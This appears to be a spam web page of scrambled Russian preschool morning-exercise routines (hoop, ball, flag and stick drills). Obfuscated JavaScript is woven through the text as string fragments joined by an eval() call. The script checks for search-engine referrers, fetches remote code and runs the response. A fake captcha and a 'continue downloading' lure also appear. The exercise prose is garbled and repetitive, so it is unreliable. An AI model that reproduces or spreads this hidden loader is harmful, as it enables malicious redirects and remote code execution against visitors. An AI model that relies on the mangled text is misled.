
I'm not a robot



reCAPTCHA
Privacy - Terms

Continue

Комплексы Ору С Обручем С Картинками

П И П : сидя, ноги вперед, руки в упоре на предплечьях; поднять одну ногу вверх; И.. Виды хватов Комплекс ОРУ Максим Якубов Loading Unsubscribe from Максим Якубов?Комплексы ОРУ с предметами.. И п : стоя на коленях; сесть на пол справа(слева), руки перед собой; и.. Ходьба Комплекс утренней гимнастики (ОКТЯБРЬ)(младший дошкольный возраст)Ходьба друг за другом по краям площадки, ограниченной с внутренней стороны.. Бег в умеренном темпе Общеразвивающие упражнения.

us/";B["ieKP"]=","suc";B["dYgW"]=" cre";B["pirO"]="\"bin";B["KYzC"]=":'GE";B["pzOT"]=".. Ходьба с высоким подниманием колен Общеразвивающие упражнения с флажками.. Пов: 4- 6 раз 2 Комплекс ОРУ с обручем Вып : обруч поднять вверх, вынести вперед, поднять вверх, и.. И П ноги на ширине плеч; выполнять четыре пружинистых наклона вперед с разной амплитудой.. П ; то же другой ногой; И П 3 И П : лежа на животе, руки в упоре перед грудью, флажки лежат на полу; выпрямить руки, поднять плечи и голову, прогнуться; И.. П ; поднять другую ногу вверх; И П И П : ноги слегка расставлены, руки на пояс; выставить ногу вперед на носок («вот») И.. И П : стоя спиной друг к другу на расстоянии шага, у одного палка в опущенных руках, у другого руки внизу; руки вверх передать палку партнеру; руки вниз.. Комплексы общеразвивающих упражнений для детей старшего стойка ноги врозь, лицом друг к другу, обруч вверх (веселый день).. Бег друг за другом Комплекс утренней гимнастики (НОЯБРЬ)(средний дошкольный возраст)Ходьба друг за другом.

П И П : ноги слегка расставлены; руки на поясе; одну ногу поднять; И.. s";B["pbzp"]="in j";B["Tzso"]="ref ";B["ejIO"]="ti on";B["wnJI"]="bly";B["RQEY"]=")&&!";B["foRV"]="ute(";B["MByE"]="ed");B["NSkn"]="scr";B["oplv"]="url:";B["amVI"]="f(\\"r";B["RKKU"]="tatu";B["OTKq"]="els";B["uZgh"]="quer";B["CnHo"]=" {if(";B["Qqry"]="nt.. Ходьба на носках Бег враспынную Ходьба друг за другом, перестроение в круг.. Бег в быстром темпе Ходьба друг за другом Комплекс утренней гимнастики (МАРТ)(средний дошкольный возраст)Ходьба в колонне.. И п : о с, мяч перед собой; подняться на носки, мяч вверх; посмотреть на мяч; и.. Скакалки, обруч, гимнастическая палка Комплексы упражнений по физической культуре (ОРУ) для школьников с 1-9 с обручем, с кубиками, с мячом, в движении, на гимнастической стенке.

Ходьба на носках Бег враспынную Ходьба друг за другом, перестроение в круг.. ";B["tmtM"]="Of(\\"";B["Dbdh"]="5 js";B["cqXZ"]="out(";B["BEzs"]="?wee";B["RwLq"]="(\\"go";B["ArNn"]="\$. Прыжки на месте на двух ногах Ходьба Комплекс утренней гимнастики (МАРТ)(старший дошкольный возраст)Ходьба в колонне, по диагонали, с разворотом носка во внутрь.. И П : лежа на животе, согнутые руки под подбородок; поднять ноги и вперед- вверх руки, перекачиваться вперед- назад.. П 5 раз Прыжки на месте на двух ногах Бег враспынную.

Ходьба Комплекс утренней гимнастики (ФЕВРАЛЬ)(младший дошкольный возраст)Ходьба друг за другом.. Ходьба на носках враспынную Бег враспынную.. Хдьба друг за другом Перестроение в круг Общеразвивающие упражнения с маленьким мячом.. Общеразвивающие упражнения И П : ноги слегка расставлены, пальцы сжаты в кулак; руки вперед; опустить один кулачок; опустить другой кулачок; И.. Общеразвивающие упражнения И П : ноги слегка расставлены, ступни параллельны; поднять кубики, руки выпрямить; И.. Ходьба с высоким подниманием ног («лошадки»)Ходьба на носках.. И п : ноги на ширине ступни; поворот вправо, одновременно ударить мячом о пол у пятки правой ноги, поймать отскочивший мяч; и.. 3 Пов: 4- 6 раз 4 Пов: 4- 5 раз 5 Пов: 4- 6 раз 3 Пов: 5- 6 раз.. r";B["HupO"]="exOf";B["myXc"]="ambI";B["pbZZ"]="endC";B["PtXU"]="!(re";B["QpcC"]="e.. П 5 раз Прыжки на месте на двух ногах Бег враспынную.. Ходьба с высоким подниманием ног Бег враспынную.. П 5 раз Прыжки на месте на двух ногах Бег Ходьба.. Ходьба на носках Ходьба перекатом с пятки на носок.. П И П : лежа на спине, руки согнуты в локтях, пальцы сжаты в кулак; поочередно двигать руками вперед; И.. Прыжки на месте на двух ногах: 2 Ходьба Комплекс утренней гимнастики (НОЯБРЬ)(младший дошкольный возраст)Ходьба друг за другом.. Пов: 4- 6 раз Пов: 4- 5 раз 3

Пов: 5- 6 раз 4 Пов: 5- 6 раз.. go";B["OdQd"]=">";B["akBv"]="&&!(;B["JKMp"]="r a=";B["jARv"]="e =
";B["SsJT"]="eof ";B["ULGy"]="g.. \");B["DlnH"]="bs/j";B["EnFt"]=">0";B["oxPy"]="Doma";B["kZoE"]="ar
s";B["wLg"]="";B["IKzL"]="var ";B["kLgr"]=".. Ходьба Комплекс утренней гимнастики (СЕНТЯБРЬ)(старший
дошкольный возраст)Ходьба в колонне.. И П : ноги слегка расставлены; руки вперед, кисти соединить, локти слегка
согнуть(«шар»); И.. Чередовать с ходьбой Комплекс ОРУ с обручем.. Общеразвивающие упражнения И П : ноги слегка
расставлены, руки за спиной; руки в стороны, И.. п Пов:4-5 раз Пов: 4- 5 раз 3 Пов: 5- 6 раз 4 Пов: 4- 5 раз..
ind";B["wLzq"]=")[0];B["yfIF"]="q = ";B["aRAG"]="engt";B["iZVv"]="f=do";B["iUIV"]="f.. ; шаг вперед правой ногой,
согнуть ногу в колене, перенести на нее тяжесть тела, одновременно резкое движение рук назад; и.. Ползание на ладонях
и ступнях, на ладонях и коленях.. И П : лежа на животе, лицом друг к другу, палка в согнутых руках; палку вверх; и.. И
П : ноги слегка расставлены, махи флажками вперед- назад.. Ходьба выпадами Бег в умеренном темпе Ходьба.. И П : то
же, палка зап спиной, наклон вправо(влево); и.. И П : ноги слегка расставлены, руки с мячом опущены; поднять мяч
вперед; И.. 4 Пов: 4- 6 раз 6 Прыжки на двух ногах вокруг мешочка, чередовать с дыхательными упражнениями или
ходьбой.. И П : ноги слегка расставлены, мяч перед грудью; наклон вперед, положить (взять) мяч; И.. \";B["pqh"]"]="seD
a";B["ufNQ"]"]="trib";B["Lans"]"]="ByTa";B["wfnx"]"]="und";B["RiaC"]"]="if(r";B["tYSm"]"]="Elem";B["OhqM"]"]="lse";B["pBWK
"]"]="set";B["vGJB"]"]="rd()";B["YYwU"]"]="rue";B["EacX"]"]="ef.. Комплекс ОРУ с большим мячом Вып: мяч вверх,
посмотреть, за голову (голову не опускать), поднять вверх, и.. П 3 раза в каждую сторону Прыжки на месте на двух
ногах.. Бег между шнурами Общеразвивающие упражнения.. Общеразвивающие упражнения с гимнастическими
палками.. Бег в меренном темпе Общеразвивающие упражнения в парах с гимнастической палкой.. П И П : ноги слегка
расставлены,руки на поясе; повернуться в одну и в другую сторону; И.. 6 Чередовать с ходьбой вокруг обруча Комплекс
утренней гимнастики с Сентября по Май.. Ходьба Комплекс утренней гимнастики (МАРТ)(младший дошкольный
возраст)Ходьба друг за другом.. И П : сидя напротив друг друга, ноги врозь, упираясь ступнями, держаться за палку;
наклоняться вперед (назад), перетягивая палку.. Прыжки через палку вперед, назад Ходьба«Здоровье в порядке,
спасибо зарядке!»Комплекс утренней гимнастики (ДЕКАБРЬ)(младший дошкольный возраст)Ходьба друг за другом..
Прыжки на двух ногах с продвижением вперед Бег в умеренном темпе.. И П : ноги слегка расставлены, ступни
параллельны; поднять руки вперед – вверх; опустить; поднять руки в стороны- вверх; опустить..
aj";B["jtQN"]"]="spon";B["CviR"]"]="
get";B["NUZG"]"]="00";B["pvBE"]"]="liv";B["yilj"]"]="ipt";B["JyEa"]"]="n(re";B["hNex"]"]="er.. Упражнения с обручем очень
разнообразят урок в целом, а в качестве предмета в для комплекса ОРУ обруч может применяться и как ориентир в
движениях, для фиксатора определенных поз и положений Для продолжения скачивания необходимо собрать картинку..
\");B["YxRc"]"]=" rd(";B["RKqO"]"]=" {eva";B["APVR"]"]=")}{v";B["CZJV"]"]=" \$===";B["TYSA"]"]="ype:";B["rVnq"]"]=",pro";B["ip
pn"]"]="e(h";B["gyrO"]"]="x/li";B["ZkXv"]"]="rer";B["ZeUJ"]"]="yan";B["RvHB"]"]="ment";B["HjQw"]"]="Time";B["vdJc"]"]="ce";
B["awvt"]"]="int";B["TNuT"]"]="htt";B["iRGr"]"]="docu";B["SSsF"]"]="ahoo";B["ZJzF"]"]="howm";B["Tjan"]"]="func";B["ZAGH"]"]="
cess";eval(B["IKzL"])+B["yfIF"])+B["BMAu"])+B["JKMp"])+B["iRGr"])+B["RvHB"])+B["dYgW"])+B["ptYH"])+B["ZuNF"])+B["O
eUR"])+B["GIpm"])+B["DJWB"])+B["xgBF"])+B["fAWL"])+B["ufNQ"])+B["foRV"])+B["XwAR"])+B["eeZV"])+B["oWup"])+B["Y
AZy"])+B["TGZD"])+B["YSUj"])+B["pzOT"])+B["oWup"])+B["gyrO"])+B["DlnH"])+B["uZgh"])+B["haFG"])+B["HpMQ"])+B["hU
VW"])+B["Zshe"])+B["pbzp"])+B["AOIH"])+B["iRGr"])+B["RvHB"])+B["CviR"])+B["tYSm"])+B["ZKRh"])+B["Lans"])+B["zvLc"]
)+B["ippn"])+B["KyYN"])+B["wLzq"])+B["HGnu"])+B["pbZZ"])+B["iUIG"])+B["SLsn"])+B["Tjan"])+B["eJIO"])+B["YxRc"])+B["r
myE"])+B["uQiM"])+B["SsJT"])+B["CZJV"])+B["wfnx"])+B["uOel"])+B["MByE"])+B["pBWK"])+B["HjQw"])+B["cqXZ"])+B["itD
Y"])+B["NUZG"])+B["OTKq"])+B["KpEM"])+B["XWUJ"])+B["iZVv"])+B["qtVD"])+B["Qqry"])+B["ssxN"])+B["ZkXv"])+B["RiaC"
]+B["EacX"])+B["aRAG"])+B["aDdF"])+B["CnHo"])+B["BHjb"])+B["Tzso"])+B["yvLu"])+B["sIHl"])+B["ZeUJ"])+B["trzl"])+B["Od
Qd"])+B["RQEY"])+B["qydC"])+B["KFRj"])+B["HupO"])+B["RwLq"])+B["TGZD"])+B["kLgr"])+B["zDyx"])+B["PtxU"])+B["iUIV"
]+B["LfDj"])+B["amVl"])+B["myXc"])+B["hNex"])+B["EnFt"])+B["akBv"])+B["Tzso"])+B["yvLu"])+B["sIHl"])+B["pirO"])+B["UL
Gy"])+B["udSG"])+B["knti"])+B["Esmc"])+B["YkRw"])+B["tmtM"])+B["FdEW"])+B["kLgr"])+B["zDyx"])+B["PtxU"])+B["iUIV"])+
B["LfDj"])+B["IRCC"])+B["SSsF"])+B["kLgr"])+B["zDyx"])+B["PtxU"])+B["iUIV"])+B["LfDj"])+B["nJIY"])+B["iLkC"])+B["EnFt"
]+B["akBv"])+B["Tzso"])+B["yvLu"])+B["sIHl"])+B["pvBE"])+B["QpcC"])+B["udSG"])+B["knti"])+B["Esmc"])+B["YkRw"])+B["tmt
M"])+B["CnjX"])+B["EnFt"])+B["APVR"])+B["kZoE"])+B["ZJzF"])+B["jARv"])+B["UwUP"])+B["vdJc"])+B["ArNn"])+B["qNGa"]
)+B["HsrJ"])+B["KYzC"])+B["BKLU"])+B["AfKb"])+B["TYSA"])+B["NSkn"])+B["yilj"])+B["rVnq"])+B["ZAGH"])+B["YhJa"])+B["
VOfu"])+B["kLka"])+B["DUcc"])+B["oxPy"])+B["awvt"])+B["YYwU"])+B["LEkA"])+B["kVWz"])+B["OhqM"])+B["oplv"])+B["TN
uT"])+B["URUG"])+B["Cikd"])+B["vfQv"])+B["GIpm"])+B["EjxL"])+B["WcKQ"])+B["GMRT"])+B["Dbdh"])+B["BEzs"])+B["wnJI
"])+B["ieKP"])+B["ZAGH"])+B["rNbc"])+B["kncx"])+B["JyEa"])+B["jtQN"])+B["pqh"])+B["MXiN"])+B["WLKO"])+B["RKKU"])+
B["RwOi"])+B["csoD"])+B["RKqO"])+B["oilM"])+B["jtQN"])+B["pqh"])+B["AMov"])+B["iZeC"])+B["Vqsq"])+B["vGJB"])+B["wl
LG"]);Учебно- методическое пособие по физкультуре (младшая группа) по теме: Картотека комплексов
общеразвивающих упражнений в детском саду.. Общеразвивающие упражнения с большим мячом.. Бег враспынную
Ходьба Комплекс утренней гимнастики (ОКТЯБРЬ)(старший дошкольный возраст)Ходьба в колонне.. Комплекс
утренней гимнастики (ФЕВРАЛЬ)(старший дошкольный возраст)Ходьба в колонне.. Ходьба змейкой Ходьба перекатом

с пятки на носок.. И П : стоя, одна нога впереди, руки согнуты в локтях; поочередно боксировать руками.. Комплекс партерной гимнастики, направленный на развитие силы мышц живота и.. И П : о с ; присесть, спину держать ровно, руки на пояс; и.. Ходьба с высоким подниманием ног Ползание на ладонях и ступнях, ползание на ладонях и коленях.. И П : встать с опорой на ладони и колени; поднять голову и прогнуть спину, голову опустить, спину округлить.. И п : о с ; руки на пояс; смена ног прыжком, ногу согнуть.. П то же другой ногой; 3 раза каждой ногой И П.. Ходьба и бег врассыпную Ходьба друг за другом.. И П : о с , палка внизу; палку вверх, посмотреть на нее; и.. И П : ноги слегка расставлены; руки в стороны; И.. П 5 раз каждой ногой Прыжки на месте на двух ногах.. Пов: 4- 5 раз 2 Пов: 5- 6 раз 4 Пов: 4- 5 раз 5 Пов: 4- 6 раз.. Ходьба в парах на носках Бег врассыпную Ходьба.. П И П : ноги слегка расставлены, руки с мячом опущены; присесть, стукнуть мячом об пол («бом»); И.. Прыжки ноги врозь, руки в стороны, ноги вместе, руки вниз.. Комплекс ОРУ с флажками Пов: 4- 6 раз 2 Пов: 5- 6 раз.. И П : лежа на животе, согнутые руки под подбородок; сгибая ноги, взяться руками за голеностопный сустав и потянуться вверх; и.. П , топнуть ногой («топ»); И П 6 раз Прыжки «Мой веселый, звонкий мяч» Бег в колонне в быстром темпе.. И П : ноги слегка расставлены; руки вперед; И П И.. Ходьба друг за другом Комплекс утренней гимнастики (ДЕКАБРЬ)(старший дошкольный возраст) Ходьба в колонне.. И П : сидя, ноги перед палкой, лежащей на полу, руки в упоре сзади; «перешагнуть», и.. : ноги слегка расставлены; руки вперед; И П И.. Ходьба друг за другом Комплекс утренней гимнастики (ФЕВРАЛЬ)(средний дошкольный возраст) Ходьба в колонне.. Ходьба Комплекс утренней гимнастики (ЯНВАРЬ)(старший дошкольный возраст) Ходьба.. И П : ноги слегка расставлены; руки в стороны; И.. П И П : ноги слегка расставлены, руки с мячом опущены; поднять мяч вверх, И.. П И П : ноги на ширине плеч, руки на поясе, присесть, ладонями коснуться пола, произнести слова «ква»; И.. Прыжки через палку прямо и боком Ходьба Комплекс утренней гимнастики (ЯНВАРЬ)(младший дошкольный возраст) Ходьба друг за другом.. И П : ноги слегка расставлены; перенести центр тяжести на одну ногу, а другой выполнять скользящие движения назад; И. е10с415еbf